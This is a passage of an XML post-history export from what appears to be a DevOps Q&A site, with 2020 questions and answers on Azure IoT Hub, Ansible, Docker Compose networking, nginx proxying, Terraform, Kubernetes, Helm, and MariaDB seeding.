  <row Id="38127" PostHistoryTypeId="2" PostId="12418" RevisionGUID="749777d8-1e43-4db3-9b3e-8e61985d60d2" CreationDate="2020-09-15T17:18:37.333" UserId="23962" Text="I have successfully have setup the Vision DevKit, in which is connected and currently sending data (assuming images of camera feed) to IoT Hub, yay!  Here is what I'm looking to do next:&#xD;&#xA;&#xD;&#xA;Label images from feed in Azure (which is necessary to create a custom ML Vision Model)&#xD;&#xA;&#xD;&#xA;I'm new to IoT Hub, so i need to extract this data feed into a way I can access. I setup Message Routing to Storage for now.  But when I look at Storage/Container files they are .avro.  &#xD;&#xA;&#xD;&#xA;I'm looking for ideas on how to access this feed and organize these images without have to go through using memory card on the Camera.  I'd like to manage this whole process in the Azure Cloud.  I'm thinking a jupyter notebook in python or any other Azure projects that can help?  But first, i would need how to take those .avro (assuming messages) and convert them to something meaningful.  Or perhaps the messages to the Storage isn't the correct path." ContentLicense="CC BY-SA 4.0" />
  <row Id="38128" PostHistoryTypeId="1" PostId="12418" RevisionGUID="749777d8-1e43-4db3-9b3e-8e61985d60d2" CreationDate="2020-09-15T17:18:37.333" UserId="23962" Text="Vision DevKit sending to IoT Hub, how do I get Images?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38129" PostHistoryTypeId="3" PostId="12418" RevisionGUID="749777d8-1e43-4db3-9b3e-8e61985d60d2" CreationDate="2020-09-15T17:18:37.333" UserId="23962" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38130" PostHistoryTypeId="2" PostId="12419" RevisionGUID="a524b5ea-0a5e-4033-b7e8-6ac1b23973df" CreationDate="2020-09-15T20:13:35.220" UserId="19154" Text="Azure files NFS share documentation was just uploaded:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/storage/files/storage-files-how-to-create-nfs-shares" ContentLicense="CC BY-SA 4.0" />
  <row Id="38132" PostHistoryTypeId="50" PostId="9863" RevisionGUID="a3f3ea28-a913-4409-9a55-aeeab1b745cc" CreationDate="2020-09-16T03:03:25.330" UserId="-1" />
  <row Id="38133" PostHistoryTypeId="2" PostId="12420" RevisionGUID="6f75b7ad-c78d-482a-80ee-1f9e4fda68e9" CreationDate="2020-09-16T08:17:17.257" UserId="20015" Text="The answer is in the warning you get:&#xD;&#xA;&#xD;&#xA;    [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'&#xD;&#xA;&#xD;&#xA;When you use `hosts: all` in your playbook, `localhost` is not matched.&#xD;&#xA;&#xD;&#xA;If you want to run the playbook on localhost, you can do one of the following:&#xD;&#xA;&#xD;&#xA; - Change your playbook to `hosts: localhost`.&#xD;&#xA; - Explicitly provide an inventory file that has `localhost`.&#xD;&#xA;&#xD;&#xA;You can create an inventory file - `inventory.yml` with the contents:&#xD;&#xA;```&#xD;&#xA;all:&#xD;&#xA;  hosts:&#xD;&#xA;    localhost&#xD;&#xA;```&#xD;&#xA;and then pass this inventory file to ansible explicitly like this:&#xD;&#xA;&#xD;&#xA;`$ ansible-playbook --connection=local -i inventory.yml playbook.yml`&#xD;&#xA;&#xD;&#xA;You can find more information about inventory in the [Ansible documentation](https://docs.ansible.com/ansible/2.7/user_guide/intro_inventory.html).&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="38135" PostHistoryTypeId="2" PostId="12421" RevisionGUID="3bff8f73-e191-41aa-99aa-77e48161799c" CreationDate="2020-09-16T12:33:20.773" UserId="4427" Text="I'm trying to get the count of how many requests were under N latency. Filtering out the correct latency can be easily done with an if expression `IF(m1 &gt;= 200, m1)`. This expression will generate a graph of the requests. The challenge is how do I know how many datapoints? Since this is an expression I cant set it to sample to get the count. I do not see anything in the available cloudwatch functions for getting the count. I also googled as was surprised I couldn't find anything about creating SLI's with cloudwatch. " ContentLicense="CC BY-SA 4.0" />
  <row Id="38136" PostHistoryTypeId="1" PostId="12421" RevisionGUID="3bff8f73-e191-41aa-99aa-77e48161799c" CreationDate="2020-09-16T12:33:20.773" UserId="4427" Text="Getting the count of datapoints for a metric in cloudwatch" ContentLicense="CC BY-SA 4.0" />
  <row Id="38137" PostHistoryTypeId="3" PostId="12421" RevisionGUID="3bff8f73-e191-41aa-99aa-77e48161799c" CreationDate="2020-09-16T12:33:20.773" UserId="4427" Text="&lt;amazon-web-services&gt;&lt;sre&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38138" PostHistoryTypeId="2" PostId="12422" RevisionGUID="7a183058-1425-4ba8-8e54-9f878fbf794b" CreationDate="2020-09-16T12:36:15.487" UserId="23911" Text="I have a docker file that runs some integration tests between two containers. It looks a bit like this:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;        test_client:&#xD;&#xA;            image: client:latest&#xD;&#xA;            depends_on:&#xD;&#xA;              - test_server&#xD;&#xA;            command: bash -c &quot;run_test.sh -p 80&quot;&#xD;&#xA;        test_server:&#xD;&#xA;            image: server:latest&#xD;&#xA;&#xD;&#xA;`test_server` launches a web server on port 80, but that same port is already exposed within `test_client` (I don't have control over the part of the `client:latest` image where the port is exposed. I tried using the `port: 8080:80` to forward port 80 to 8080 in the server, but that only changes the port exposed on the host, not within the docker environment.&#xD;&#xA;&#xD;&#xA;How can I connect `test_client` to `test_server` in such a scenario?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38139" PostHistoryTypeId="1" PostId="12422" RevisionGUID="7a183058-1425-4ba8-8e54-9f878fbf794b" CreationDate="2020-09-16T12:36:15.487" UserId="23911" Text="How can I access port 80 of another container, when port 80 is already exposed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38140" PostHistoryTypeId="3" PostId="12422" RevisionGUID="7a183058-1425-4ba8-8e54-9f878fbf794b" CreationDate="2020-09-16T12:36:15.487" UserId="23911" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38141" PostHistoryTypeId="2" PostId="12423" RevisionGUID="8337a5f6-56e6-4bf9-af95-8e2aed6e2c88" CreationDate="2020-09-16T16:26:19.543" UserId="6579" Text="You can use a proxy to forward traffic between the two services, I typically do something like this which includes automated SSL with certbot. In the example below I have two services listening on port 80/443 (Sonarqube and Jenkins). You can also see I can reference container hosts by name (https://jenkins:8080)&#xD;&#xA;&#xD;&#xA;    nginx:&#xD;&#xA;    container_name: nginx-certbot&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;    image: staticfloat/nginx-certbot&#xD;&#xA;    networks:&#xD;&#xA;      - local&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;0.0.0.0:80:80&quot;&#xD;&#xA;      - &quot;0.0.0.0:443:443&quot;&#xD;&#xA;    environment:&#xD;&#xA;      CERTBOT_EMAIL: &lt;insert_email&gt;&#xD;&#xA;    volumes:&#xD;&#xA;      - ./conf.d:/etc/nginx/user.conf.d:ro&#xD;&#xA;      - letsencrypt:/etc/letsencrypt&#xD;&#xA;&#xD;&#xA;And this is what my nginx config looks like&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;    listen              443 ssl;&#xD;&#xA;    server_name jenkins.hauntedmansion.io;&#xD;&#xA;    ssl_certificate     /etc/letsencrypt/live/jenkins.hauntedmansion.io/fullchain.pem;&#xD;&#xA;    ssl_certificate_key /etc/letsencrypt/live/jenkins.hauntedmansion.io/privkey.pem;&#xD;&#xA;&#xD;&#xA;    client_max_body_size 20M;&#xD;&#xA;&#xD;&#xA;      location / {&#xD;&#xA;        proxy_set_header   Host $host;&#xD;&#xA;        proxy_set_header   X-Real-IP $remote_addr;&#xD;&#xA;        proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;        proxy_set_header   X-Forwarded-Proto $scheme;&#xD;&#xA;        proxy_pass         http://jenkins:8080;&#xD;&#xA;        proxy_read_timeout 90;&#xD;&#xA;        proxy_redirect     http://127.0.0.1:8080 https://jenkins.hauntedmansion.io;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If you want to see the full docker compose example check it out here:&#xD;&#xA;&#xD;&#xA;https://gist.github.com/cvega/66e0e5a2815e9b923da2c616f74dea7e" ContentLicense="CC BY-SA 4.0" />
  <row Id="38142" PostHistoryTypeId="5" PostId="4305" RevisionGUID="7d8697ad-ccd3-40e1-adbb-819cde8f75d9" CreationDate="2020-09-16T17:10:43.993" UserId="8348" Comment="Update answer" Text="Travis CI originally created two separated platforms to differentiate between private repos / paid ([travis-ci.com](https://travis-ci.com)) and public repos / free ([travis-ci.org](https://travis-ci.org)).&#xD;&#xA;&#xD;&#xA;However, as of May 2018, new users and projects (both private and public) should only use travis-ci.com (see [this blog post](https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps)). Note that **travis-ci.org will be closed down completely on December 31st, 2020** (see [this newsletter](https://mailchi.mp/3d439eeb1098/travis-ciorg-is-moving-to-travis-cicom)).&#xD;&#xA;&#xD;&#xA;Although still in beta—which is a bit weird since travis-ci.org will be shut down soon—Travis CI provides a well-documented [migration guide](https://docs.travis-ci.com/user/migrate/open-source-repository-migration)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38143" PostHistoryTypeId="2" PostId="12424" RevisionGUID="0138e503-7c09-4b28-97d8-03d1b68b4150" CreationDate="2020-09-16T21:01:46.230" UserId="23982" Text="I have just recently started to consider using AWS for my SPA Web Apps. And I have read a lot about different types of how web apps could be hosted on AWS. I have looked into Lambda, S3 Static hosting. EC2. But can't seem to figurate out how to exploit AWS and it services the best possible way. &#xD;&#xA;&#xD;&#xA;My Web App consists of a front-end written in Vue js. Which uses a Backend API written in Laravel. The front-end and backend are isolation so they don't have to be placed on the same machine. So I guess that could bring some good opportunities for using the different AWS products? The Database is only connected to the BackendApi so the Front'end is static. I'm also openminded for changed to another type of database if that would fit better into the AWS environment. But I don't know if I should separate the Frontend and API into different services.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="38144" PostHistoryTypeId="1" PostId="12424" RevisionGUID="0138e503-7c09-4b28-97d8-03d1b68b4150" CreationDate="2020-09-16T21:01:46.230" UserId="23982" Text="AWS hosting of SPA Web App" ContentLicense="CC BY-SA 4.0" />
  <row Id="38145" PostHistoryTypeId="3" PostId="12424" RevisionGUID="0138e503-7c09-4b28-97d8-03d1b68b4150" CreationDate="2020-09-16T21:01:46.230" UserId="23982" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38148" PostHistoryTypeId="2" PostId="12426" RevisionGUID="b697a485-072e-48b1-9d74-7a05e995cd72" CreationDate="2020-09-17T09:17:29.223" UserId="19427" Text="([Originally posted to discuss.hashicorp.com](https://discuss.hashicorp.com/t/provision-and-configure-azure-vm-in-private-subnet-file-remote-exec-cloud-init-etc/14235?u=mloskot))&#xD;&#xA;&#xD;&#xA;I’m setting up a basic multi-tier infrastructure composed of two Azure VMs:&#xD;&#xA;&#xD;&#xA; 1. Web server (VM1) with public IP and private IP (subnet1)&#xD;&#xA; 2. Data server (**VM2**) in **private IP** only (subnet2)&#xD;&#xA;&#xD;&#xA;Both VM-s are based on the vanilla Ubuntu Linux images available on Azure.&#xD;&#xA;&#xD;&#xA;Obviously, it’s very easy to provision (`apt-get`, Bash scripting, etc.) and configure the Web server using the `file` or `remote-exec` provisioners. I have also experimented with the `clout-init` for that purpose.&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;&#xD;&#xA; - What is the recommended method to provision and the data server?&#xD;&#xA; - Is `cloud-init` the only option?&#xD;&#xA;&#xD;&#xA;AFAIU, the Terraform provisioners running via SSH are not an option because the data server (**VM2**) is not available at public IP.&#xD;&#xA;&#xD;&#xA;What I need to do on the **VM2** is:&#xD;&#xA;&#xD;&#xA; - install some packages&#xD;&#xA; - upload/edit some configuration files&#xD;&#xA; - download some data files&#xD;&#xA; - start some services&#xD;&#xA;&#xD;&#xA;I’m running Terraform on Windows host, so I did not try the Ansible yet, but AFAIU it operates via SSH, similarly to the Terraform `file` or `remote-exec` provisioners." ContentLicense="CC BY-SA 4.0" />
  <row Id="38149" PostHistoryTypeId="1" PostId="12426" RevisionGUID="b697a485-072e-48b1-9d74-7a05e995cd72" CreationDate="2020-09-17T09:17:29.223" UserId="19427" Text="Provision and configure Azure VM in private subnet (file, remote-exec, cloud-init, etc.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38150" PostHistoryTypeId="3" PostId="12426" RevisionGUID="b697a485-072e-48b1-9d74-7a05e995cd72" CreationDate="2020-09-17T09:17:29.223" UserId="19427" Text="&lt;terraform&gt;&lt;azure&gt;&lt;provisioning&gt;&lt;cloud-init&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38151" PostHistoryTypeId="2" PostId="12427" RevisionGUID="c56ef21f-a490-4dac-b7e0-6ece8e89bbb0" CreationDate="2020-09-17T10:00:00.800" UserId="23986" Text="0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am using k8s to orchestrate an environment on a local network. My idea is to deploy a number of linux machines each of which should have its own &quot;External&quot; IP.&#xD;&#xA;&#xD;&#xA;Right now I found guides to expose services on External IP (e.g. https://kubernetes.io/docs/tutorials/stateless-application/expose-external-ip-address/), but this is tailored to expose services on a precise port.&#xD;&#xA;&#xD;&#xA;My need is more targeted to expose an entire machine on a precise static IP and not just a port. This would allow me to easily deploy and reshape any network topology I need. Notice that doing it without exposing the IPs (hence using internal k8s routing/dns) is not an option because this environment should be interfaced with real/bare metal hardware already present in the network.&#xD;&#xA;&#xD;&#xA;Here follows a little example of the desired result:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Can anyone relate to this and let me know if this is even possible?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/7O8Ae.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38152" PostHistoryTypeId="1" PostId="12427" RevisionGUID="c56ef21f-a490-4dac-b7e0-6ece8e89bbb0" CreationDate="2020-09-17T10:00:00.800" UserId="23986" Text="Kubernetes used to orchestrate Containerized Machines" ContentLicense="CC BY-SA 4.0" />
  <row Id="38153" PostHistoryTypeId="3" PostId="12427" RevisionGUID="c56ef21f-a490-4dac-b7e0-6ece8e89bbb0" CreationDate="2020-09-17T10:00:00.800" UserId="23986" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38157" PostHistoryTypeId="2" PostId="12429" RevisionGUID="37004cef-233b-4e8e-ac84-e57957179935" CreationDate="2020-09-17T10:57:26.800" UserId="23987" Text="Cancelling spot requests is good if you have created a 'persistent' spot instance. If you try terminating a spot instance in the EC2 console when its persistent a new spot instance will spin up in its plan in a few minutes.&#xD;&#xA;&#xD;&#xA;However, if you cancel the spot request this will terminate the spot instance and also cancel any future rebuilds of this instance. So this means you will not have another instance spin up when the first spot is terminated. To cancel the spot request, go to the panel on the left 'spot requests' and here you will see all the ones you have created. Click one and you can find the instance ID.&#xD;&#xA;&#xD;&#xA;Yes, spot does save a lot of money compared to on-demand but this feature is a bit annoying as I didn't realise it for a while. So I was terminating instances but didn't realise new instances were spinning up in their place. Working on a lambda and cloudwatch event that will cancel the spot request once the instance is terminated" ContentLicense="CC BY-SA 4.0" />
  <row Id="38158" PostHistoryTypeId="2" PostId="12430" RevisionGUID="58bc9ab8-54e0-459e-b9c3-7bfd04452a13" CreationDate="2020-09-17T11:01:56.030" UserId="19786" Text="By default my habit is to not add dependencies (or subcharts) to the repo.&#xD;&#xA;&#xD;&#xA;But around I don't see `charts/` being added to `.helmignore`s that much; so I am wondering if there's a good reason.&#xD;&#xA;&#xD;&#xA;Isn't it better to exclude the `charts/` folder? Is it a good practice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38159" PostHistoryTypeId="1" PostId="12430" RevisionGUID="58bc9ab8-54e0-459e-b9c3-7bfd04452a13" CreationDate="2020-09-17T11:01:56.030" UserId="19786" Text="Should add `charts/` folder to `.helmignore`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38160" PostHistoryTypeId="3" PostId="12430" RevisionGUID="58bc9ab8-54e0-459e-b9c3-7bfd04452a13" CreationDate="2020-09-17T11:01:56.030" UserId="19786" Text="&lt;helm&gt;&lt;repository&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38162" PostHistoryTypeId="2" PostId="12431" RevisionGUID="7ce1443f-15f3-4188-a44d-9852ae7c0049" CreationDate="2020-09-17T12:57:03.247" UserId="23904" Text="You should look at [DaemonSets](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/). You can configure it so that the Pods runs on each node of your Kubernetes cluster. Each individual Pod (running your Linux machine) can be exposed to outside network using the IP address of the node on which it is running.&#xD;&#xA;&#xD;&#xA;&gt; My need is more targeted to expose an entire machine on a precise static IP and not just a port.&#xD;&#xA;&#xD;&#xA;*Before getting into further explanation, I should point out that there is nothing like exposing entire machines.*&#xD;&#xA;&#xD;&#xA;Access to any machine is always through a combination of IP address and Port. So you should decide based on which port you would like to access on the container. &#xD;&#xA;&#xD;&#xA;**Example:**&#xD;&#xA;&#xD;&#xA;Let's say I have a 3 node Kubernetes cluster, I can create a DaemonSet with the application/image of my choice. Below names/details are imaginary, but should give an idea on the mapping.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ubuntu-daemonset-pod-xyz    k8s-node-1    192.168.2.1&#xD;&#xA;ubuntu-daemonset-pod-abc    k8s-node-2    192.168.2.2&#xD;&#xA;ubuntu-daemonset-pod-hij    k8s-node-3    192.168.2.3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The Pods above can be &quot;exposed&quot; on the IP address of the node on which it is running. That is: `ubuntu-daemonset-pod-xyz` on `192.168.2.1`." ContentLicense="CC BY-SA 4.0" />
  <row Id="38166" PostHistoryTypeId="2" PostId="12433" RevisionGUID="9f3d6090-46f9-4db8-98d9-bee3907b79bc" CreationDate="2020-09-17T17:37:46.033" UserId="23998" Text="According to the [Docker Compose Docs: Networking](https://docs.docker.com/compose/networking/): &#xD;&#xA;&#xD;&#xA;&gt; By default Compose sets up a single [network](https://docs.docker.com/engine/reference/commandline/network_create/) for your app. Each container for a service joins the default network and is both *reachable* by other containers on that network, and *discoverable* by them at a hostname identical to the container name. &#xD;&#xA;&gt; &#xD;&#xA;&gt; For example, suppose your app is in a directory called `myapp`, and your `docker-compose.yml` looks like this:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     version: &quot;3&quot;&#xD;&#xA;&gt;     services:&#xD;&#xA;&gt;       web:&#xD;&#xA;&gt;         build: .&#xD;&#xA;&gt;         ports:&#xD;&#xA;&gt;           - &quot;8000:8000&quot;&#xD;&#xA;&gt;       db:&#xD;&#xA;&gt;         image: postgres&#xD;&#xA;&gt;         ports:&#xD;&#xA;&gt;           - &quot;8001:5432&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; When you run docker-compose up, the following happens:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt;  - A network called `myapp_default` is created. &#xD;&#xA;&gt;  - A container is created using `web`’s configuration. It joins the network `myapp_default` under the name `web`. &#xD;&#xA;&gt;  - A container is created using `db`’s configuration. It joins the network `myapp_default` under the name `db`.&#xD;&#xA;&#xD;&#xA;I put that exact `docker-compose.yml` in a directory with this `Dockerfile`: &#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN ping -c 1 db&#xD;&#xA;&#xD;&#xA;When I run `docker-compose up`, I get a connection error to the db container.  &#xD;&#xA;&#xD;&#xA;    $ docker-compose up&#xD;&#xA;    Building web&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;    latest: Pulling from library/alpine&#xD;&#xA;    df20fa9351a1: Pull complete&#xD;&#xA;    Digest: sha256:185518070891758909c9f839cf4ca393ee977ac378609f700f60a771a2dfe321&#xD;&#xA;    Status: Downloaded newer image for alpine:latest&#xD;&#xA;     ---&gt; a24bb4013296&#xD;&#xA;    Step 2/2 : RUN ping -c 1 db&#xD;&#xA;     ---&gt; Running in cf64bfcb72eb&#xD;&#xA;    ping: bad address 'db'&#xD;&#xA;    ERROR: Service 'web' failed to build : The command '/bin/sh -c ping -c 1 db' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;If I put a node app in the Dockerfile, I can't make database connections to the db URI at `postgres://postgres:postgres@db/postgres` either.  &#xD;&#xA;&#xD;&#xA;I've tried using `links` and `depends_on` as well as the `healthcheck` for postgres advised in other SE answers.  Nothing has worked.  Why can't I connect to the `db` container?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="38167" PostHistoryTypeId="1" PostId="12433" RevisionGUID="9f3d6090-46f9-4db8-98d9-bee3907b79bc" CreationDate="2020-09-17T17:37:46.033" UserId="23998" Text="Docker-compose containers can't connect to each other" ContentLicense="CC BY-SA 4.0" />
  <row Id="38168" PostHistoryTypeId="3" PostId="12433" RevisionGUID="9f3d6090-46f9-4db8-98d9-bee3907b79bc" CreationDate="2020-09-17T17:37:46.033" UserId="23998" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38169" PostHistoryTypeId="2" PostId="12434" RevisionGUID="5906bafe-1b00-48bf-bcf1-62b4547520e3" CreationDate="2020-09-17T18:33:17.567" UserId="24000" Text="An alternative sintax to `Dilson Rainov`'s answer, more ansible 2.x style (I think).&#xD;&#xA;&#xD;&#xA;In your inventory define the host as:&#xD;&#xA;```yml&#xD;&#xA;vagrant-local:&#xD;&#xA;      ansible_host: 192.168.33.10&#xD;&#xA;      ansible_user: vagrant&#xD;&#xA;      ansible_ssh_private_key_file: .vagrant/machines/default/virtualbox/private_key&#xD;&#xA;      UserKnownHostsFile: /dev/null&#xD;&#xA;      StrictHostKeyChecking: no&#xD;&#xA;      ansible_python_interpreter: /usr/bin/python3&#xD;&#xA;```&#xD;&#xA;- `UserKnownHostsFile` causes the check of the host fingerprint on an always empty file (replacing the check inside `~/.ssh/known_hosts`)&#xD;&#xA;- `StrictHostKeyChecking` allows ssh to connect without the user confirming the detected fingerprint from the vagrant host&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38170" PostHistoryTypeId="5" PostId="12413" RevisionGUID="2db31f29-3fc7-4823-ad31-2449d450cc25" CreationDate="2020-09-17T18:44:20.363" UserId="4852" Comment="formatting" Text="I have a helm chart which pulls a lot of images from various registries and deploys a lot of pods. It runs a lot of k8s jobs before getting the pods up.&#xD;&#xA;&#xD;&#xA;Overall, helm install command takes huge time, so usually my helm install will also have `--timeout 3600`.&#xD;&#xA;&#xD;&#xA;Like: `helm install --name` will also have `--timeout 3600`&#xD;&#xA;&#xD;&#xA;Can I embed this `--timeout 1800` to the helm chat itself? (rather than providing a command line parameter)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38171" PostHistoryTypeId="24" PostId="12413" RevisionGUID="2db31f29-3fc7-4823-ad31-2449d450cc25" CreationDate="2020-09-17T18:44:20.363" Comment="Proposed by 4852 approved by 40 edit id of 1277" ContentLicense="CC BY-SA 4.0" />
  <row Id="38173" PostHistoryTypeId="2" PostId="12435" RevisionGUID="b6d29786-2916-4233-888e-edd7879237d1" CreationDate="2020-09-18T01:41:56.757" UserId="6258" Text="The Dockerfile specifies how a container image is *built*.  The Dockerfile’s `RUN` command is trying to ping the `db` container, which is not yet running during the build phase.&#xD;&#xA;&#xD;&#xA;Once the container images have have been created, compose will start the containers and they will be able to address each other via their service names (`dB` and `web`). " ContentLicense="CC BY-SA 4.0" />
  <row Id="38174" PostHistoryTypeId="2" PostId="12436" RevisionGUID="885cf268-c0d2-414f-af28-b1fcdd7efa77" CreationDate="2020-09-18T14:58:52.310" UserId="23901" Text="The issue was due to the DNS ports not being configured properly. I had to configure port 53 in my security groups to get this to work." ContentLicense="CC BY-SA 4.0" />
  <row Id="38175" PostHistoryTypeId="2" PostId="12437" RevisionGUID="22861360-288f-4e91-9cad-bf077d6c7a2b" CreationDate="2020-09-18T14:59:15.733" UserId="9877" Text="I'm dabbling with creating an application that can be built from a single docker-compose.yml file &quot;on the fly&quot; in any Docker / `docker-compose` enabled machine (most likely for QA, UAT or Development purposes). Building the rest of the application out will include web servers, etc. &#xD;&#xA;&#xD;&#xA;As a POC, I am using a super simple public GitHub repo to experiment with pulling a (semi) functional clone from that contains a very basic MySQL compatible database from a mysqldump. The mysqldump from a dev test environment (scrubbed) is included in the repo under a subdirectory like `repo_root/sql/mysqldumpfile.sql`&#xD;&#xA;&#xD;&#xA;The GOALS: &#xD;&#xA; - Build a MariaDB docker image that starts up on `docker-compose up -d --build` and is populated with the data from the `repo_root/sql/mysqldumpfile.sql` that gets cloned in an intermediate container and then copied/moved to a named volume.&#xD;&#xA; - That named volume is referenced in my MariaDB container (with users and networking all pre-configured as well). &#xD;&#xA; - Since many of the &quot;end-users&quot; of this docker-compose.yml file are NOT expected to be very tech-savvy, I want that all to happen on ONE RUN, and ONE COMMAND ==&gt; `docker-compose up -d --build` &lt;== if possible.&#xD;&#xA; - SUPER MEGA BONUS: I'm also trying to avoid having to use a separate Dockerfile for this, also. I'd like to be able to &quot;ship&quot; with docker-compose.yml by itself and have it populate DB with the MySQLdumpfile.sql, but at this point I'm not sure if it's going to work consistently without one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Clearly I must be doing something wrong, perhaps I have a complete misunderstanding of how this goal is done? I have managed to populate the DB on --build before, but as I continued to tweak the entire application build, somewhere along the way I goofed something up and have not been able to prepopulate the DB again.&#xD;&#xA;&#xD;&#xA;I assume that I must have accidentally thrown off the timing of the build process somehow? &#xD;&#xA;- eg the MySQL build happens before the mysqldumpfile.sql that I want to initialize the DB with pre-populated data doesn't get copied/moved until it's too late and the MariaDB container is already done building?&#xD;&#xA;&#xD;&#xA;Perhaps it's the way I was mounting the volumes? Maybe I have some kind of linking issue?&#xD;&#xA; - Note: when I `docker exec -it mariadb-build-demo bash` into the MariaDB container, the mysqldumpfile.sql is exactly where I want it to be, but it's not prepopulating the DB with its contents. I've tried a variety of things to get this accomplished and none of them are working or consistent.&#xD;&#xA;&#xD;&#xA;I've been banging my head on this one for a day or so, I have plenty of other workarounds to add to the necessary commands to populate the DB, but I'm almost certain there is a way to get this done and that I'm pretty close... so I'm willing to subject myself to snarky Perl-developer-esque commentary on my N00bn3$$ for the knowledge transfer. ;) " ContentLicense="CC BY-SA 4.0" />
  <row Id="38176" PostHistoryTypeId="1" PostId="12437" RevisionGUID="22861360-288f-4e91-9cad-bf077d6c7a2b" CreationDate="2020-09-18T14:59:15.733" UserId="9877" Text="docker-compose to populate MariaDB/MySQL Database from mysqldump from GH repo referencing docker-entrypoint-initdb.d path on build" ContentLicense="CC BY-SA 4.0" />
  <row Id="38177" PostHistoryTypeId="3" PostId="12437" RevisionGUID="22861360-288f-4e91-9cad-bf077d6c7a2b" CreationDate="2020-09-18T14:59:15.733" UserId="9877" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38178" PostHistoryTypeId="5" PostId="12437" RevisionGUID="429d3dc0-f91d-46a8-a3b9-b232ddfff2bd" CreationDate="2020-09-18T15:06:59.747" UserId="9877" Comment="forgot some details" Text="I'm dabbling with creating an application that can be built from a single docker-compose.yml file &quot;on the fly&quot; in any Docker / `docker-compose` enabled machine (most likely for QA, UAT or Development purposes). Building the rest of the application out will include web servers, etc. &#xD;&#xA;&#xD;&#xA;As a POC, I am using a super simple public GitHub repo to experiment with pulling a (semi) functional clone from that contains a very basic MySQL compatible database from a mysqldump. The mysqldump from a dev test environment (scrubbed) is included in the repo under a subdirectory like `repo_root/sql/mysqldumpfile.sql`&#xD;&#xA;&#xD;&#xA;The GOALS: &#xD;&#xA; - Build a MariaDB docker image that starts up on `docker-compose up -d --build` and is populated with the data from the `repo_root/sql/mysqldumpfile.sql` that gets cloned in an intermediate container and then copied/moved to a named volume.&#xD;&#xA; - That named volume is referenced in my MariaDB container (with users and networking all pre-configured as well). &#xD;&#xA; - Since many of the &quot;end-users&quot; of this docker-compose.yml file are NOT expected to be very tech-savvy, I want that all to happen on ONE RUN, and ONE COMMAND ==&gt; `docker-compose up -d --build` &lt;== if possible.&#xD;&#xA; - SUPER MEGA BONUS: I'm also trying to avoid having to use a separate Dockerfile for this, also. I'd like to be able to &quot;ship&quot; with docker-compose.yml by itself and have it populate DB with the MySQLdumpfile.sql, but at this point I'm not sure if it's going to work consistently without one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Clearly I must be doing something wrong, perhaps I have a complete misunderstanding of how this goal is done? I have managed to populate the DB on --build before, but as I continued to tweak the entire application build, somewhere along the way I goofed something up and have not been able to prepopulate the DB again.&#xD;&#xA;&#xD;&#xA;I assume that I must have accidentally thrown off the timing of the build process somehow? &#xD;&#xA;- eg the MySQL build happens before the mysqldumpfile.sql that I want to initialize the DB with pre-populated data doesn't get copied/moved until it's too late and the MariaDB container is already done building?&#xD;&#xA;&#xD;&#xA;Perhaps it's the way I was mounting the volumes? Maybe I have some kind of linking issue?&#xD;&#xA; - Note: when I `docker exec -it mariadb-build-demo bash` into the MariaDB container, the mysqldumpfile.sql is exactly where I want it to be, but it's not prepopulating the DB with its contents. I've tried a variety of things to get this accomplished and none of them are working or consistent.&#xD;&#xA;&#xD;&#xA;I've been banging my head on this one for a day or so, I have plenty of other workarounds to add to the necessary commands to populate the DB, but I'm almost certain there is a way to get this done and that I'm pretty close... so I'm willing to subject myself to snarky Perl-developer-esque commentary on my N00bn3$$ for the knowledge transfer. ;) &#xD;&#xA;&#xD;&#xA;Here is the current docker-compose.yml I'm working with (comments are left in here on purpose for context 